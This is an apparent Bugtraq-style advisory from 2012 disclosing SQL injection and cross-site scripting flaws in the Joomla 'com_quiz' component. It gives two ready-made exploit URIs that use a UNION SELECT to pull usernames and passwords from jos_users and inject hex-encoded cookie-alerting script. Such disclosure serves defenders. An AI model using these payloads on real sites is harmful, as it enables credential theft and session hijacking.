Joomla! 'com_quiz' Component SQL Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID:	56338
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 30 2012 12:00AM
Updated:	Oct 30 2012 12:00AM
Credit:	Daniel Barragan
Vulnerable:	Joomla Quiz 0
Not Vulnerable:

Joomla! 'com_quiz' Component SQL Injection and Cross Site Scripting Vulnerabilities

Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e,concat(username,0x3D,password)/**/from/**/jos_users+--+

http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e+--+

Joomla! 'com_quiz' Component SQL Injection and Cross Site Scripting Vulnerabilities

References:

• Joomla! Homepage (Joomla!)